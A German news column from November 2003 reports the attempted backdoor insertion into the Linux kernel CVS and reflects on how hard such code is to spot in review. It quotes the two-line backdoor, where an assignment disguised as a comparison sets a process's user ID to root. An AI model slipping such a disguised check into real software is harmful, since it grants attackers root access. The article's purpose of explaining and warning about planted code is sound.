Thema der Woche

18. November 2003

Nicht offensichtlich trotz Open Source

Anfang November gab es offenbar einen Versuch, in die Linux-Kernel-Quellen Programmcode für eine Hintertür einzuschleusen. Auch wenn das Vorgehen der Angreifer im konkreten Fall [externer Link] untauglich gewesen sein mag, die offiziellen Kernel-Quellen zu "vergiften", sondern nur für kurze Zeit in einem Entwickler-Feed (CVS) verweilte, so zeigt der Vorfall doch, wie schwierig es sein kann, gefährlichen Code zu entlarven: Die zwei zusätzlichen Quelltext-Zeilen waren anfangs nur aufgefallen, weil die Ergänzung nicht ordentlich protokolliert war. Und selbst dann blieb die wahre Natur der Modifikationen zunächst noch unerkannt.

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
          retval = -EINVAL;

Erst im Zuge einer [externer Link] weiterführenden Diskussion um die "Störung" fiel auf, dass es sich bei der zweiten Klammer nicht um eine Abfrage, sondern um eine Zuweisung handelt, die bei der Ausführung des entsprechenden Codes dafür sorgen würde, dass ein Anwender unter bestimmten Bedingungen administrativen Zugriff (Root-Rechte) auf ein Linux-System bekäme. Mehreren erfahrenen Programmierern war die Brisanz zunächst entgangen, obwohl man bereits den Verdacht hatte, dass die bewussten Zeilen aufgrund einer direkten Änderung auf einem möglicherweise attackierten System eingebracht wurden.

Auch wenn in diesem Fall also das "Viele-Augen-sehen-alles"-Prinzip des Open-Source letztlich funktioniert hat, so stellt sich doch die Frage, wie leicht solche Zeilen bei einer typischen Überprüfung von Quellcodes übersehen würden, bei der kein Alarmsignal den Analysten veranlasst, gerade auf diese konkrete Stelle inmitten vieler Tausend anderer Code-Sequenzen zu achten. Auf der anderen Seite gibt es dabei immer noch mehr Chancen, Probleme zu entdecken, als es bei "geschlossenen" Quelltexten der Fall wäre. So oder so belegt das Beispiel, wie viel Sorgfalt eine Quelltextprüfung erfordert, die unerwartete Effekte aufdecken soll.